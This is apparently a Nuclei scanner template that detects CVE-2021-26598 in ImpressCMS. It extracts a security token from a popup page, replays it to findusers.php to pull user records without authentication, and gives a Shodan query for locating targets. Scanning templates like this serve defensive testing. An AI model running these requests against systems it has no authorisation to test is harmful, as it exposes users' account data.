id: CVE-2021-26598

info:
  name: ImpressCMS <1.4.3 - Incorrect Authorization
  author: gy741,pdteam
  severity: medium
  description: ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://hackerone.com/reports/1081137
    - http://karmainsecurity.com/KIS-2022-03
    - https://github.com/ImpressCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26598
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26598
    cwe-id: CWE-287
    cpe: cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:*
    epss-score: 0.00311
  metadata:
    max-request: 2
    shodan-query: http.html:"ImpressCMS"
  tags: hackerone,cve,cve2021,impresscms,unauth,cms

http:
  - raw:
      - |
        GET /misc.php?action=showpopups&type=friend HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36

      - |
        GET /include/findusers.php?token={{token}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36

    cookie-reuse: true
    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'last_login'
          - 'user_regdate'
          - 'uname'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: token
        internal: true
        group: 1
        regex:
          - "REQUEST' value='(.*?)'"
          - 'REQUEST" value="(.*?)"'

# Enhanced by md on 2023/04/04